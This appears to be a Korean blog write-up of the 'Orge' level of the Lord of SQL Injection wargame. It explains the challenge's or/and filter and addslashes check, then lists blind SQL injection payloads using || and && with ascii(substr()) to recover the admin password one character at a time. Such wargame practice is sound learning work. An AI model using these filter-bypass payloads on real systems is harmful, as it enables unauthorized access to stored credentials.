훈훈훈

Lord of SQL injection(LoS) - 7. Orge 본문

정보보안/웹 해킹 문제

Lord of SQL injection(LoS) - 7. Orge

훈훈훈 2018. 10. 16. 23:50



먼저 코드를 살펴보면 다음과 같은 정보를 얻을 수 있다.


 1. if(preg_match('/or|and/i', $GET[pw]))

   => 'or' 와 'and'를 필터링하고 있다.

 2. $_GET[pw] = addslashes($_GET[pw])

   => addslahes( ) 함수를 사용함으로서 싱글쿼터를 사용할 수 없다.

 3. if(($result['pw']) && ($result['pw'] == $_GET['pw']))

   => GET 방식으로 입력 받은 pw 값이 admin과 같아야 한다.


이제 문제를 어떻게 해결할지 생각해보자.


1.  'or' 그리고 'and'는 필터링을 하고 있기 때문에 우회할 방법을 찾아야한다.

2.  문제에서 addslahes( ) 함수를 사용하고 있다.

3.  따러서 Blind SQL injection을 이용하여 admin의 패스워드를 찾자.




먼저 length( ) 함수를 이용하여 패스워드 길이를 확인해 보았다. 위 그림을 확인했을때 패스워드 길이는 8인 것을 알 수 있다.

패스워드 길이를 알았으니 이제 패스워드 한 글자 한 글자 씩 구해보자. 

( 코드를 이용하여 자동화 시켜서 푸는걸 추천한다. )




먼저 패스워드 첫 번째 자리를 확인해본 결과 54(6)임을 확인할 수 있다.

이러한 방식으로 순차적으로 계속 참과 거짓 반응을 확인하면서 패스워드를 유추하자.


이러한 과정이 모두 끝나면 다음과 같은 결과를 확인 할 수 있다.


1번째 값 : ?pw='%7c%7c id='admin' %26%26 ascii(substr(pw,1,1))=54%23    =>   6

2번째 값 : ?pw='%7c%7c id='admin' %26%26 ascii(substr(pw,2,1))=99%23    =>   c

3번째 값 : ?pw='%7c%7c id='admin' %26%26 ascii(substr(pw,3,1))=56%23    =>   8

4번째 값 : ?pw='%7c%7c id='admin' %26%26 ascii(substr(pw,4,1))=54%23    =>   6

5번째 값 : ?pw='%7c%7c id='admin' %26%26 ascii(substr(pw,5,1))=52%23    =>   4 

6번째 값 : ?pw='%7c%7c id='admin' %26%26 ascii(substr(pw,6,1))=100%23   =>  d

7번째 값 : ?pw='%7c%7c id='admin' %26%26 ascii(substr(pw,7,1))=101%23   =>  e 

8번째 값 : ?pw='%7c%7c id='admin' %26%26 ascii(substr(pw,8,1))=99%23     =>  c




위에서 얻은 패스워드 6c864dec를 입력하면 클리어 메세지를 확인할 수 있다.




Comments